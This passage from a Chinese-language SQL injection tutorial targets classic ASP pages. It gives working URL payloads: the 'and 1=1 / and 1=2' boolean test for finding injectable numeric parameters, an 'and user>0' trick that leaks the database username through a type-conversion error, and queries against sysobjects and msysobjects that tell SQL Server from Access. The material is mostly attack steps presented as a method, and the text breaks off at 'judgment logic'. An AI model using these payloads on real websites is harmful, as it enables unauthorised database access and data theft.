單引號測試不可靠(IIS 錯誤隱藏、參數強制轉型、單引號過濾)。標準測試流程:
https://site/show.asp?id=49 → 正常顯示(基準)...id=49 and 1=1 → 正常顯示,內容與 ① 相同...id=49 and 1=2 → 異常:BOF/EOF、找不到記錄、空白頁(含 on error resume next)| 現象 | 可注入 | 不可注入 |
|---|---|---|
| ① 正常 | ✓ | ✓ |
| ② 1=1 正常 | ✓ | ✗ (程式錯誤/型別轉換錯誤) |
| ③ 1=2 異常 | ✓ | ✗ (程式定義錯誤/型別錯誤) |
※ 以上針對數值型參數;字串型與搜尋型參數詳見進階篇。
https://site/show.asp?id=49 and user>0
user 為 SQL Server 內建變數 (nvarchar),與整數 0 比較觸發型別轉換錯誤:
Syntax error converting the nvarchar value 'abc' to a column of data type int.
直接洩露資料庫用戶名!若為 sa 登入,錯誤訊息顯示 dbo 而非 sa。
| 資料庫 | 系統表 | Web 環境存取 |
|---|---|---|
| Access | MSysObjects | 無權限讀取 |
| SQL Server | sysobjects | 可正常讀取 |
測試語句:
-- SQL Server 測試
https://site/show.asp?id=49 and (select count(*) from sysobjects)>0
-- Access 測試
https://site/show.asp?id=49 and (select count(*) from msysobjects)>0
判斷邏輯: